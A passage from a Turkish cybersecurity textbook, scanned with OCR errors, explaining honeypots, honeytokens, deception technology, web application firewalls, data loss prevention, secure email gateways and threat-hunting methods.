tuzak sistemleridir (Gorsel 2.17). Bu sistemin amaci; saldirganlari sistemden uzak tutmak, onlari yanil-
tarak oyalamak, saldiri hedeflerini 6grenmek ve saldiri yontemlerini tespit etmektir. Elde edilen bilgi-
ler, sistem zafiyetlerinin giderilmesine ve siber giivenlik 6nlemlerinin iyilestiriimesine dnemli dl¢lide
katki saglar. Tuzaklar, gercek sistemden izole ve gercek sistemi taklit eden simiilasyonlar olarak calisir.
Saldirganin hedefine ulasmak icin yaptigi her aktivite, bu tuzaklar tGzerinden izlenir, analiz edilir ve mi-

dahale edilir.
internet
|
=7 Yerel ag
Hacker l
=71 D o s
Giivenlik duvan —7 vl v v
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4 i i

mail DNS Web
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Gorsel 2.17: Honeypot sistemi

Tuzak sistemler, korunmasi gereken sistemin dnem derecesine veya tehdit tlirline gére farkl konumlarda
yer alabilir. Tuzak konumlandirma tirleri sunlardir:

Tamamen izole Bir Ortamda: Saldirgan davranislarini incelemek ve arastirma yapmak icin ézel olarak
tasarlanan laboratuvar ortamlaridir.

Dahili Ag icinde: ic tehditleri veya aga sizan kot niyetli kullanicilari tespit etmek icin ag icinde
konumlandirilan tuzaklardir. Ornegin bir sunucuyu veya veri tabanini taklit ederek saldirganlarin
etkilesimde bulunmasini saglar.

Kritik Servislerin Yakininda: Kritik sistemlerin (mail, DNS, FTP vb.) yakinina konumlandirilan tuzaklardir.
Saldirganlari kritik sistemlerden uzaklastirmak igin kullantlir.

Giivenlik Duvarinin Arkasinda: Glvenlik duvarini gegen saldirganlarin i¢ aga erisimlerine engel olmak
icin glivenlik duvarinin arkasina konumlandirilan tuzaklardir.

internete Agik Konumda: internete agik olarak konumlandirilan tuzaklardir. Amaci, saldirganlarin port
tarama, exploit gibi ilk erisim eylemlerini tuzaga ¢cekmektir.

Tuzak sistemi, avciyi avla prensibiyle calisir. Bu sistemde hedef sistem taklit edilirken sistemde zafiyet
varmis gibi gosterilerek saldirganlar tuzaga cekilir. Saldirgan, ilk erisim icin etkilesimde bulunurken
saldirgana ait bilgiler elde edilir. IP adresi, kullandigi komutlar veya yapmaya calistigi eylemler, saldirganin
planladigi saldiri hakkinda bilgi verir. Saldirganin hedefine ulasmak igin yaptigi eylemler (kullandigi
TTP’ler, calistirdigi zararl yazilimlar, kullandigi kimlik bilgileri vb.), veri olarak toplanir ve analiz edilir.
Bu verilere dayanarak yeni saldiri imzalari olusturulur. Tim bu slire¢ degerlendirilip, siber savunma
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onlemleri iyilestirilerek tespit edilen zafiyetler giderilir. Gorsel 2.18’de tuzak sisteminin ¢alisma mantigi
gorulir.

Veri Savunma
toplama gelistirme

Etkilesim

Saldirganlarin ilgisini Saldirganin IP adresi TTP’le IDS slash IPS kuralla-

cekecek giivenlik Kullanilan komutlar Exploitler rini gincelleme

aciklar

. Log kayitlari Zararh yazilimlar FI.FEW?” guvgnllgmm
Zayif sifreler iyilestirilmesi

Oturum bilgiler Kimlik bilgileri
Sahte veriler & & Guvenlik politikala-

Davranis kaliplari Sosyal muhendislik rini iyilestirme

Tuzak dosyalar e

Gorsel 2.18: Tuzak sisteminin ¢alisma mantig

Tuzak sistemleri genellikle etkilesim seviyesine ve konuslandirma amaclarina gére siniflandirilir.
Etkilesim seviyesine gore siniflandirma su sekildedir:

Diisiik Etkilesimli (Low Interaction): Sinirli sayida servis veya portu kullanarak gercek sistemi taklit eden
tuzaklardir. Saldirganin temel kesif hareketlerini tespit eder. Saldirgan, derinlemesine hareket edemez.

Orta Etkilesimli (Medium Interaction): Cok sayida servis ve uygulamayi taklit eden tuzaklardir. Saldirgan,
bazi komutlari calistirabilir. Bu sayede saldiri hakkinda daha fazla bilgi elde edilebilir.

Yiiksek Etkilesimli (High Interaction): Gergek isletim sistemi veya uygulamalari taklit eden, saldirganla
tam etkilesim kuran tuzakladir. Saldirgan, gergek sistemdeymis gibi komut calistirabilir, dosya
olusturabilir ve agda kesif yapabilir. Saldirganin davranislari hakkinda cok fazla bilgi elde edilir.

Konuslandirma amacina gore siniflandirma su sekildedir:

Uretim BalKiipii (Production Honeypot): Bir kurulusun mevcut bilgi sistemlerine yerlestirilen tuzaklardir.
Saldirganin sistemde kolaylikla erisebilecegi alanlara yerlestirilerek bilinen saldiri yontemlerini tuzaga
cekmeyi hedefler. Sistemde bazi komutlarin kullaniimasini saglayarak veya yaygin olarak kullanilan
saldiri portlarini taklit ederek tuzaklar olusturulur.

Arastirma Bal Kiipii (Research Honeypot): Siber saldirilar ve saldirgan davranislari hakkinda
derinlemesine bilgi toplamak icin olusturulan, gercek sistemden tamamen izole edilen glivenli arastirma
ortamlaridir. Gergek bir sistemi bire bir taklit ettigi icin saldirganla yiksek etkilesim saglar.

Honeynet (Bal Agi): Birden fazla honeypot kullanarak saldirgan davranislarini derinlemesine incelemek
icin olusturulan ag ortamidir. Temel amaci, saldirganlari tuzak aga cekerek saldiri yontemlerini
incelemek, proaktif tehdit istihbarati toplamak ve ag glivenliginin iyilestiriimesini saglamaktr. Bu yapida
birden fazla honeypot, veri toplama mekanizmalari ve izolasyon katmanlari yer alir. Honeynet ag yapisi,
gercek sistemden tamamen izole olarak gercek sistemi taklit edecek sekilde olusturulur. Aga cekilen
saldirganin yaptigi her aktivite kaydedilir. Toplanan veriler analiz edilerek tehdit istihbarati olusturulur.
Tespit edilen zafiyetler giderilir, yeni saldiri imzalari olusturulur ve givenlik kurallari giincellenir. Elde
edilen bilgilerle honeynetler giincellenerek yeniden yapilandirilir. Gérsel 2.19°da honeynet ag yapisi
gorilur. Bu ag yapisinda korunmasi hedeflenen tretim sunuculari ve bunu taklit eden honeynet yapisi
yer alir. Yonlendiricinin gorevi, internet trafigini yonetmektir. Honeywall ise bu sistemin en kritik bileseni
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olup, yonlendiriciden gelen trafigi analiz eden bir glivenlik duvari olarak calisir. Honeywall, normal
trafigi Gretim sunucularina iletirken stipheli paketleri veya saldiri girisimlerini honeynetlere yonlendirir.
Honeywall, gercek sistemi saldirilardan koruyan en énemli bilesendir.
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Gorsel 2.19: Honeynet ag yapisi

Honeytoken (Bal Belirteci): Bir sistemde yetkisiz erisimi tespit etmek veya kotl niyetli bir aktiviteyi
izlemek amaciyla kullanilan yaniltici bilgi pargalaridir (yemlerdir). Honeytokenlar, honeypotun bir uzantisi
olarak gelistirilir. Honeypotlar, saldiri yapilabilecek gercek sistemleri taklit ederek tuzak olustururken
honeytokenlar; sahte kimlik bilgileri, yaniltici belgeler, veri tabani girdileri veya APl anahtarlari seklinde
tasarlanan dijital nesnelerdir (Gorsel 2.20).

Gorsel 2.20: Honeytoken
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Saldirganla etkilesim kurmadan onlari yakalamayi amaglayan ve sadece uyari veren bir sistemdir. Bir
saldirgan; yem olarak sunulan bilgi pargacigiyla etkilesime girdiginde sistem, glivenlik ekibine uyari
gonderir. Saldiri henliz gerceklesmeden IP adresini engelleme, sistemi izole etme gibi yontemlerle
engellenir. Gergek varliklar saldiriya ugramadan saldirganin aciga ¢ikarilmasi amaclanir.

Honeytokenlar, gercek gibi goriinen ilgi cekici bilgiler olarak agin stratejik noktalarina yerlestirilir. Bu
bilgiler, saldirganin dikkatini ¢cekecek sekilde isimlendirilir. Normal kullanicilar, bu bilgilerle etkilesime
girmez. Bu sebeple honeytokenla etkilesim oldugunda olay kaydi olusturulur, givenlik ekibine alarm
gonderilir ve saldirgana ait bilgiler (IP adresi, kullanici adi, erisim zamani vb.) loglanir. Giivenlik ekipleri,
bu bilgileri tehdit analizi yapmak icin kullanilir. Gérsel 2.21°de yaygin olarak kullanilan honeytoken
turleri goralar.

Veritabani Bal Dosya Tabanl Bal Web Tabanli Bal
Belirteleri Belirtecleri Belirtegleri
Veritabanlarindaki Dosya sistemlerindeki Sahte URLler veya
sahte girdiler yem dosyalari web sayfalari

K"gl,;:(i::elg;::.?al API Anahtari Bal Ag Trafiéi B.al
Sahte kullanici Belirtecleri Belirtecleri
adlari ve parolalar Aldatici APl anah- Sahte ag paketleri
tarlari

Gorsel 2.21: Honeytoken turleri

Honeytoken kullanmanin faydalari sunlardir:

« Erken uyari ile proaktif tehdit tespiti yapilhr.

« Saldirganlar 6nceden tespit edilir, yaniltihr ve yavaslatilir.

« Saldirgan davranislari hakkinda bilgi toplayarak gelismis tehdit istihbarati saglanir.

« Kurulumu kolay, diistik maliyetli ve hafif yapida oldugu igin kaynak tiketimi azdr.

« Farkl ortamlara ve risk seviyelerine gore kolaylkla uyarlanabilir.

« Honeytoken alarmlari, gercek tehdit olarak diistintldtgi icin yanhs alarm orani distktar.
Dynamic Deception Technology (Dinamik Aldatma Teknolojisi): Statik ve dnceden belirlenmis tuzaklar

verine, degisen saldiriortamlarina adapte olabilen ve dinamik tuzaklarla yonetilen aldatma teknolojisidir.
Bu sistemde saldirganin davranislari, aktif bir sekilde degerlendirilerek slire¢ yonlendirilir.

Aldatma teknolojisinde ag ortamina, bir kurulusun gercek varliklarina (sunucular, veritabani, ag cihazlari,
uygulamalar vb.) benzeyen sahte varlklar (decoys) ve yemler (lures) stratejik olarak yerlestirilir. Bu
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yemler; sahte kimlik bilgileri, dosyalar, APl anahtarlari veya yaniltici ag baglantilari olabilir. Saldirgan,
agda kesif yaparken bu yemlerle etkilesime girdiginde sistem alarm Uretir. Sahte varliklar ve yemler,
gercek sistemin disinda ve sistem kullanicilarina gériinmez sekilde tasarlandigi igin bu alarmlar gergek
bir tehdit olarak kabul edilir. Saldirganin yaptigi her eyleme (kullandigi araglar ve komutlar, erisim
denemeleri, islem zamani, kaynak IP adresi vb.) ait bilgiler toplanarak kaydedilir. Bu bilgiler, yapay zeka
ve makine 6grenmesiyle gercek zamanl olarak analiz edilir. Analiz siirecinde saldirganin hedefi, profili
ve saldiri asamasi tanimlanir. Saldirganin etkilesimleri ve profiline gore bir sonraki hamlesi de tahmin
edilir. Analiz sonuglarina gére aldatma sistemi; aldatma ortamini yeniden olusturur, yeni yemler iretir ve
saldirgani yonlendirmeye devam eder. Gercek sistemden izole olarak ylirttilen bu eylemler, saldirganin
derinlemesine analiz edilmesini saglar. Dinamik aldatma teknolojileri, saldirgani hemen algilayarak
onlarin agda kalma siiresini azaltirken sahte hedeflerle daha fazla kaynak harcamasina sebep olur.

Dinamik aldatma teknolojisi; karmasik algoritmalar, yapay zeka ve makine 6grenmesi temelinde ¢alisan
bir yazilim olup genellikle merkezi bir yénetim platformu veya kontrol paneli araciligiyla yonetilir. Gorsel
2.22'de dinamik aldatma teknolojilerinin galisma yapisi gorilir.

Aldatma Platformu
X\ ®
-l Olustur ve Olustur ve .
. Ozellestir Ozellestir
| O ) ]
Yemler ve Bal
Sahte Hedefler Belirtegleri
Eylemler . )
Uyarilar Ortam Sahte Hedefleri, Yemleri ve
Gostergeler Degerlendirmesi Bal Belirteglerini Yerlestir
A 4

SIEM, SOAR ve

Guvenlik Araclari Ag Aktif Dizin Ug Noktalar

Gorsel 2.22: Dinamik aldatma teknolojilerinin ¢alisma yapisi

Aldatma platformu, yapay zeka ve makine 6grenmesini kullanarak sahte varliklari ve yemleri olusturan,
bunlari ag icine yerlestiren ve sirekli bilgi akisi saglayan bir operasyon merkezidir. Burada olusturulan
sahte varliklar ve yemler; ag segmentleri, bilgisayarlar, sunucular gibi dikkat ¢ekici ortamlara stratejik
olarak yerlestirilir. Bu yerlesim ajan yazilimlarla veya sanal cihazlar araciligiyla yapilir. Aldatma platformu,
dagitim yaptig ortamlardan (ug cihazlar, ag ortami, Acvtive Directory vb.) siirekli bilgi toplayarak
degerlendirme yapar. Bu asamada agdaki gercek cihazlar, servisler, baglantilar, normal ag trafigi,
gercek kullanicilarin davranislari, cihazlardaki isletim sistemi versiyonlari gibi bilgiler degerlendirilir.
Aldatma platformunda yer alan sahte varliklar ve yemlerin gercek aga uyumunun saglanmasi ve
gercekei gbriinmesi icin degerlendirme asamasi ¢ok 6nemlidir. Agda yapilan degisikliklere gore aldatma
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sisteminin glincellenmesi de buna baghdir. Saldirgan, sahte varlik veya yemlerle etkilesime girdiginde
alarm dretilir ve bildirim yapilir. Kullanilan IP adresi, araclar, komutlar, kullandigi zafiyetler, tehdit
gostergelerive TTP’ler tespit edilir. Daha dnceden olusturulan siber glivenlik kurallarina gore bu eyleme
mudahale edilir. Aldatma platformlari, glivenlik araclariyla (SIEM, SOAR, IDS/IPS, EDR vb.) entegre
calisarak kapsamli savunma saglar.

2.1.2.8. WAF [Web Application Firewall (Web Uygulama Giivenlik Duvari)]

WAF, bir web sitesi veya uygulamasina gelen ve giden HTTP trafigini izleyen, siipheli olan aktiviteleri
engelleyen ve onlari web tabanli saldirilardan koruyan bir givenlik duvaridir. Web ortamini sifirinci giin
aciklari, zararl yazilimlar, sahte kimlik saldirilari, DDoS, XSS, SQL enjeksiyonlari ve diger tehditlerden
korumak igin WAF kullanilr.

Normal giivenlik duvari OSI modelinin 3 ve 4. katmanlarinda calisirken WAF, 7. katmanda (uygulama
katmani) galisir. Teknolojinin hizla gelismesine bagli olarak web tabanli uygulamalar (mobil uygulamalar,
loT cihazlar vb.) da artis gosterir. Bu uygulamalar genellikle hassas verilerin (kredi kart bilgileri, kimlik
bilgisi, musteri kayitlari vb.) saklandigi arka ug veri tabanina erisim saglayarak calisir. WAF, saldirganlarin
bu sunuculara erisimini engellemeyi amaglar.

WAF, uygulama sunucusu ile istemci arasinda ters vekil (reverse proxy) olarak konumlandirilir. Bu
yaplyla istemci, istekleri denetimden gegcirildikten sonra sunucuya iletilir. Bu istekler; GET, POST, PUT,
DELETE gibi Http metotlariyla yapilir. GET, sunucudan veri cekmek icin kullanilirken POST, sunucuya veri
gondermek ve durum degisikligi yapmak igin kullanilir. PUT, sunucudaki verileri glinceller. DELETE ile
veriler silinir. WAF, bu HTTP isteklerinden zararli olan veya tehdit olusturabilecek eylemleri kurallara
gore analiz eder ve filtreler. Bu kurallar; glvenilir olarak tanimlanan trafik icin izin listesi, zararli olan
trafigin izin verilmedigi engel listesi veya izin ve engel listesinin birlikte kullanildigi hibrit model olarak
ozellestirilebilir. Gorsel 2.23’te WAF calisma prensibi goriiliir. istemcilerden gelen giivenilir isteklerin
web uygulama givenlik duvarindan gecerek sunucuya iletildigi, glivenli olmayan istegin ise engellendigi
goralur.

1. istek : Glivenli

2. istek : Giivenli degil

izle .
1.Istek

Engelle ve Filtrele

3. istek

"

Bir politika olustur

|
Web Uygulama
Giivenlik Duvari

3. istek : Giivenli

e

Gorsel 2.23: WAF calisma prensibi
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WAF dagitim turleri sunlardir:

Ag Tabanli WAF: Fiziksel cihaz olarak dagitilan ve ag trafiginin akisini keserek uygulamaya gelen istekleri
izleyen WAF dagitim tlrladar. Yerel olarak kurulum yapilir ve bakim maliyeti yiksektir. Merkezi bir
noktadan yonetilir.

Sunucu Tabanl WAF: Uygulamanin Gzerine bir yazilim eklentisi veya modiil olarak kurulur. Uygulamanin
ihtiyacina gore ozellestirme saglayabilir. Sistem kaynaklarini kullandigi icin kaynak tiiketimi yliksektir. Bu
durum, uygulamanin yavaslamasina neden olabilir.

Bulut Tabanli WAF: Bulut hizmeti olarak (SaaS) sunulan ve bulut altyapisinda calisan WAF turudur.
Kullanicilar, belirli bir siire icin abonelik lcreti 6deyerek bu hizmeti satin alir. DNS kayitlarinin WAF
saglayicina yonlendirilmesiyle hizmet kullanilabilir hale gelir. Bulut tabanli WAF saglayicilari, genis bir
tehdit istihbarat agina sahiptir. Bu sayede surekli giincel kalir ve yeni tehditlere karsi proaktif koruma
saglar.

Hibrit Tabanli WAF: Farkli dagitim tirlerini bir araya getiren WAF turudir. Temel amaci farkli WAF
tirlerinin gigli yonlerini kullanarak daha kapsamli bir koruma saglamaktir. Karmasik ve ¢cok katmanl
altyapilarda kullanisli bir ¢c6ziim sunar.

2.1.2.9. DLP [Data Loss Prevention (Veri Kaybi Onleme)]

DLP, hassas verileri yetkisiz erisime, kotliye kullanima veya sizdirilmaya karsi korumayi amacglayan bir
glvenlik stratejisidir. Dijital dlinyanin hizla gelismesine bagh olarak veri miktari ve gesitliligi de artar.
Kritik verilerin glivende tutulmasi, kuruluslarin ticari itibari agisindan oldukg¢a 6nemlidir. Kuruluslar, bu
hassas verileri farkl bicimde ve konumda depolayabilir ve farkli paydaslarla paylasabilir.

Cesitli kaynaklardan gelen veriler (APl kullanicilari, 10T cihazlar, son kullanicilar vb.), uygulama
katmaninda islenerek farkli depolama alanlarina yonlendirilir. Depolama alanlarindan bazilari sunlardir:

Veri Tabani (Database): Yapilandiriimis verilerin tablolar halinde saklandigi sistemlerdir. Veri tabanindaki
bilgiler kategorize edilerek diizenlenir. Misteri kayitlari, Griin bilgileri, finansal islemler, stok takip gibi
veriler, veri tabaninda saklanir.

Dahili Depolama (Internal Storage): Bir uygulamanin iginde veya sirkete ait sunucular ve depolama
cihazlarinda yer alan verilerdir.

Nesne Depolama (Object Storage): Genellikle bulut tabanli depolama ortaminda verilerin nesneler
halinde depolandigi sistemlerdir.

Kimlik Bilgisiyle Korunan Depolama (Credentialed Storage): Kullanici bilgileri, parolalar, APl anahtarlari
gibi hassas kimlik bilgilerinin bulundugu depolama alanlaridir.

Gunlikler (Logs): Uygulama ve sistem aktivitelerinin kaydedildigi, giinlik dosyalarinin depolandigi
alanlardir. Bu dosyalar; glivenlik denetimi, sorun giderme ve performans analizi icin kritik 6neme
sahiptir.

Dijital sistemlerde veriler, saklandigi ortama veya kullanim sekline bagli olarak tic durumda gruplandirilir
(Gorsel 2.24). Duragan Haldeki Veri (Data at Rest); veri tabani, bulut altyapisi, yerel depolama gibi
alanlarda saklanan ve aktif olarak kullanilmayan verilerdir. Hareket Halindeki Veri (Data in Transit);
e-posta, dosya transferleri, anlik mesajlasma gibi islemlerde ag lizerinden aktarilan verilerdir.
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Kullanim Halindeki Veri (Data in Use); veri tabaninda giincelleme islemi, dosya okuma veya galisan bir
program gibi anlik olarak islenen verilerdir.

[Duragan Halde | |Hareket Halinde| |Kullanim Halinde |
é N [/ N[ )

+— o

-+
«, A
_}
G J \ J \\ y,

Gorsel 2.24: Verinin G¢ durumu

Uygulama katmaninda ve depolama alanlarinda DLP’nin odaklandigl hassas veriler sunlardir:

Kullanicl Gizli Bilgileri (User Secrets): Kullanici adi, parola, APl anahtarlari, glivenlik tokenleri gibi
bilgilerdir.

Kisisel Tanimlanabilir Bilgiler (Personally Identifiable Information): E-posta adresi, kimlik numarasi,
telefon, ev adresi, IP adresi, oturum agma kimlikleri, sosyal medya paylasimlari, cografi konum,
biyometrik (parmak izi, yliz tanima, ses tanima vb.) veriler gibi bilgilerdir.

Finansal Veriler (Financial Data): Kredi karti numarasi, banka bilgileri, islem ge¢misi, mali kayitlar gibi
islemlere ait bilgilerdir.

Ozel Kullanici Bilgileri (Private User Info): Saglik verileri, etnik kéken bilgisi, siyasi géris, dinf inang gibi
ozel bilgiler ve fikri mulkiyet (yazilim, tescilli veri, orijinal eser vb.) verilerdir.

Gorsel 2.25’te DLP ¢6zimunun dijital sistemdeki konumu goralir.
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Gorsel 2.25: DLP ¢6ziminun dijital sistemdeki konumu
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DLP veri yasam dongiisii, hassas verilerin olusturulmasindan imha edilmesine kadar olan siiregleri
kapsayan bir glivenlik yaklasimidir. Bu siireg, hassas verilerin sizdiriimasinin dnlenmesini ve korunmasini
amaclar. Gorsel 2.26’da DLP yasam dongtisu goralir.

Veri
tanimlanmasi ve
DLP siniflandirilmasi
raporlanmasi ve
belgelenmesi

Veri izleme

Veri glivenligi

Gorsel 2.26: DLP veri yasam dongsi

1. VeriTanimlamaveSiniflandirma (Dataldentification and Classification): Kurulusa aityapilandiriimis
ve yapilandirilmamig tiim veriler belirlenir. Yapilandiriimis veriler; kredi karti numarasi, telefon,
dogum tarihi, kimlik numarasi gibi standart bicime sahip bilgilerdir. Bu veriler, etiketlenerek tablolara
aktarima uygundur. Yapilandirilmamis veriler ise metin belgesi, resim, muzik gibi diizensiz ve farkh
formatlarda verilerdir. Glvenlik ekipleri DLP araglarini kullanarak bu verileri tespit etmek igin tim
agl tarar. Tespit edilen veriler, hassasiyet diizeyine gore gruplara ayrilarak siniflandirilir. Kuruluslar
verilerini veri tirine (finansal, pazarlama, fikri mulkiyet vb.) gére veya yasal diizenlemelere (GPDR,
CCPA vb.) uygun olarak siniflandirilabilir. Veri siniflandirma islemi genellikle yapay zekd ve makine
ogrenmesiyle otomatik yapilir.

2. Veriizleme (Data Monitoring): Giivenlik ekipleri tarafindan siniflandirilan verilerin nasil islendiginin
izlenmesi surecidir. DLP araclari, icerik analizi, veri eslestirme, etiketli veriler, dosya eslestirme,
anahtar kelime eslestirme, desen eslestirme gibi yontemlerle hassas verileri tanimlayarak izler.
Tespit ettigi hassas verilerde ihlal edilen giivenlik politikalarini, anormal kullanici davranislarini,
givenlik aciklarini ve olasi veri kayiplarini arar. Veri sizintisi, yetkisiz erisim, koti amach yazilim
imzalari, bilinmeyen kaynaklardan gelen ag trafigi gibi eylemler tehdit olarak kabul edilir.

3. Veri Korumalarinin Uygulanmasi (Applying Data Protections): Veri izleme asamasinda politika
ihlali tespit edildiginde DLP araclari gergek zamanli iyilestirme g¢abasiyla yanit verir. Ornegin agdaki
verinin sifrelenmesi, yetkisiz erisimin sonlandirilmasi, kot amagli ag trafiginin engellenmesi, kimlik
dogrulamanin zorlastiriimasi gibi 6nlemlerle veri kaybi engellenmeye calisilir.

4. DLP Calismalarinin Belgelenmesi ve Raporlanmasi (Documenting and Reporting DLP Efforts): DLP
araglari, stirecin belgelendirilmesi ve raporlanmasini saglayarak DLP performansinin kapsaml bir
sekilde izlenmesini saglar.
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2.1.2.10. Guivenli E-Posta Ag Gecidi [Secure E-Mail Gateway (SEG)]

SEG, bir kurulusun mail sunucularina gelen kot niyetli e-postalarin, alicilarin gelen kutusuna
ulasmadan o6nce tespit edilip engellenmesini saglayan bir glivenlik Grintdir. Saldirganlarin yaygin
olarak kullandigi yontemlerden biri de zararl e-postalardir. Kimlik avi, k6t amagh yaziim dagitimi,
fidye yazilimi, yonetici e-postasini ele gecirerek ¢alisanlara yaniltict mail génderilmesi gibi bircok saldiri
e-posta araciligiyla gerceklestirilir. Bu saldirilar, kuruluslarin veri kaybina ve finansal zararina sebep
olurken itibar kaybetmesine de sebebiyet verir. Bu sebeple e-posta glivenligi, kuruluslar icin 6nemli bir
glvenlik 6nlemidir.

SEG, kurulusun iginde yer alan dahill e-posta sunucusu ile internet baglantisi arasina konumlandirilir.
Boylece sunucuya gelen ve giden ag trafigi, gercek zamanli analiz edilerek stipheli e-postalar, aliciya
ulasmadan engellenir. Bu kontrol siireci hem bilinen kétl amagli yazilim imzalarini arar hem de gelismis
kalici tehditleri makine 6grenmesi mekanizmasiyla tespit eder. Gorsel 2.27°de SEG’in bir ag icindeki
konumu ve galisma sekli gorilir.

Yonetici Kontrolii

Gercek Kullanici 9 @ ...................... 9‘_.—" ...... ;:;
6 Q ...............................................................
._.l

m . E posta Sirketiniz
______________________________________________________________ giivenligi
-— o Q
Saldirgan
Spam, Oltalama (Phis-
hing), Fidye Yazilimi (Ran- Yapay Zeka, Makine
somware), Kétii Amach Ogrenimi, E-posta
Yazilim (Malware) ve diger Uyumlulugu ve diger
tehditler giivenlik mekanizmalari

Gorsel 2.27: SEG’in ag icindeki konumu ve galisma sekli

SEG’in sisteme entegrasyonu ve calisma sekli sunlardir:

DNS MX Kaydi (DNS MX Record): Bu yontemde kurum icindeki e-posta sunucusunun internetteki adres
kaydi degistirilerek e-postalarin SEG’e yonlendirilmesi saglanir. Bu sayede e-postalar, SEG kontrolliinden
gecer ve zararl olmayanlar sirket sunucusuna yonlendirilir. Temel amag, e-posta sunucusuna gelen tim
trafigin tek bir noktadan kontrol edilmesi ve e-posta yoluyla gelebilecek tehditlerin engellenmesidir.

API Entegrasyonu (API Integration): Bu yontemde SEG, e-posta platformunun uygulama arayiziine
entegre edilerek, ag trafigini yonlendirmeden gergek zamanli olarak kontrol eder. Bulut tabanli e-posta
platformlarinda yaygin olarak kullanilir. APl entegrasyonu ile e-postalar gergcek zamanli olarak izlenir ve
zararl postalara hizl bir sekilde miidahale saglanir.
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SEG’in temel fonksiyonlari ve koruma alanlari sunlardir:

istenmeyen toplu e-postalari (spam) filtreleyerek engeller.

E-posta ekleri veya baglantilar araciligiyla yayilan kotli amagli yazilimlari tespit eder ve engeller. Bu
ekler ve baglantilar, korumali alan (sandboxing) adi verilen gercek agdan izole ve sanal bir ortamda
calistirilarak analiz edilir.

Sahte baglantilar, siipheli e-posta adresleri ve yaniltici mesajlari tespit ederek kimlik avi saldirilarina
karsl koruma saglar.

Kimlik avi saldirilarina karsi, génderici kimlik dogrulamasi yaparak glivenilir olmayan kaynaklardan
gelen e-postalari engeller.

Hassas bilgilerin iceriden disariya sizdirilmasini, veri kaybi dnleme (DLP) 6zelligiyle engeller.

ilk anda tespit edilemeyen kétii amacgli bir e-posta, teslim edildikten sonra zararli oldugu algilandigin-
da SEG, e-postayl otomatik olarak siler.

2.1.3. Tehdit Avciligi (Threat Hunting)

Siber glivenlik tespit ve yanit araglari, tehdidin algilanmasi ve midahale edilmesine odaklanirken
Gelismis Surekli Tehdit (APT) gibi agda uzun sire gizlenen saldirilari tespit edemeyebilir. APT’ler, bir
sisteme sizdiktan sonra aylarca gizli kalip blylk zararlara sebep olan tehditlerdir. Tehdit avcihigi, bir
sistemde var oldugu disinilen gizli tehditleri aktif olarak arayan yontemdir. Proaktif bir yaklasim olup
hem insan uzmanhgi hem de teknik araglarin kullanildigi bir slirectir. Yazilim ve algoritmalarin gézden
kacirabilecegi insan davranislarini aramaya odaklanir. Tehdit avcilari, giivenlik araglarindan toplanan
verilerde gizli saldirganlarin izlerini arar. Tehdit avciliginda en ¢ok arastirilan isaretler sunladir:

« Anormal ag trafigi

« Cok sayida basarisiz oturum agma girisimi

« Farkh cografi konum erisimleri

+ Veri tabani anormallikleri

« Tekrar eden dosya transfer istekleri

+ Sistem izni olmadan yapilmak istenen yama ve glincelleme islemleri
« Veri paketlerinin yanhs hedefe yonlendirilmesi

 Yetkisiz yeni hesaplarin olusturulmasi

+ Yuksek CPU ve bellek kullanimi

« Dosyalarin sifrelenmesi

« PowerShell komut calistirma istekleri

Tehdit Avciligi Yontemleri: Tehdit avcilari, bir sistemde gizli tehditlerin var oldugu distncesiyle kanit
arar. Tehdit avciligi siireci, kurulusun siber glvenlik altyapisi ve kurumsal glivenlik cercevesine gore
planlanir. Siireg, tehdidi tespit etmekle sinirli olmayip 6nleme ve midahale asamalarini da kapsar.
Tehdit avciligi siirecinde farkh yontem ve yaklasimlar kullantlir.
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Gorsel 2.28’de tehdit avcihigi tirleri gorilar.

Yapilandiriimis
Tehdit Avcilig

Yapilandiriimamis
Tehdit Avcilig

Durumsal Tehdit
Avcilig

Gorsel 2.28: Tehdit avciligi trleri

1. Yapilandiriimis Avcilik (Structured Threat Hunting): Yeni bir tehdit veya saldiri hakkinda bilgi
alindiginda kullanilan avcilik tirtidir. Tehditle ilgili hipotez olusturulur ve saldirganin kullanabilecegi
taktik, teknik ve prosedirler (TTP) belirlenir. Arama siirecinde ise saldirinin asamalarini anlamak
icin Sizma Oldiirme Zinciri (Intrusion Kill Chain), saldirida kullanilan TTP’leri eslestirmek icin
MITRE&ATTCK gergeveleri, saldirinin yasam donglsini analiz etmek i¢cin Mandinant Saldiri Yagam
Dongilisii (Mandiant Attack Lifecycle) kullanilarak sistemlerde izler aranir. Hem sistemli hem de
kanita dayal bir yontem olup heniiz gerceklesmemis tehditleri dnlemeye yardimci olur.

2. Yapilandiriimamis Avcilik (Unstructured Threat Hunting): Sistemde ihlal veya saldiri gostergeleri
tespit edildiginde hizla tepki vermek icin kullanilan avcilik trtdur. Stpheli bir IP adresi, zararh
hash bilgisi, kot amagh dosya gibi eylemler glvenlik ihlali (I0C) olarak degerlendirilir. Normal disi
PowerShell komutu calistirilmasi, dosya sifreleme girisimleri, stipheli oturum bilgileri gibi davranislar
saldiri ihlali (IOA) olarak degerlendirilir. Bu avcilik tiirinde yayillmanin etkisini azaltmak i¢in hizli
hareket edilmelidir.

3. Durumsal Avcilik (Situational Threat Hunting): Bu avcilik tiirinde davranis kaliplari aranmaz.
Bunun yerine kurumun sistem varliklarina ve zayifliklarina odaklanilir. Kurum i¢cinde kuruma 6zgu
zayifliklarin ve anormal davranislarin izi strilerek tehdit aranir. Bu siirecte kurumun i¢ yapisi analiz
edilerek kritik sistemler, ayricalikli kullanicilar ve zayifliklar tespit edilir. SIEM, EDR, XDR gibi gtivenlik
araclarindan toplanan veriler analiz edilir. Bu veriler arasinda korelasyon ve analitik islemler
uygulanarak kullanici davranis analizi ve anomali tespiti ile anormal davranislar belirlenir. Biitiin bu
islemlerden sonra tehdit hipotezi olusturulur ve arastirmaya baslanilir.

Tehdit Avciligi Siireci: Tehdit avciligl henliz tespit edilmemis veya giivenlik araglarinin yakalayamadigi
tehditleri bulmaya odaklanan sistematik ve tekrar eden bir sirectir. Siber tehditlerin de dinamik bir
yapida olmasi ve her tespitin yeni bir hipotez fikri olusturmasiyla siireg, stirekli calismaya devam eder.
Bu yapi sayesinde sirekli iyilestirmeye destek olunurken kurumun siber savunma yeteneklerinin
gelistiriimesine katki saglanir.
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Gorsel 2.29°da tehdit avciligi stireci gorilir.

Hipotezler olustur.

Yeni desenleri ve TTP’leri
ortaya cikar.

04 Analitigi bilgilendir ve
zenginlestir.

Gorsel 2.29: Tehdit avciligi slireci

Hipotezler Olustur (Create Hypotheses): Tehdit avciliginin ilk adimi olan bu asamada sistemde
var oldugu distnilen bir tehdidin veya glivenlik aciginin ne oldugunun belirlenmesi hedeflenir. Bu
asamada tehdit istihbarat, glivenlik agiklari, anomaliler gibi kaynaklardan gelen verilerden yola ¢ikarak
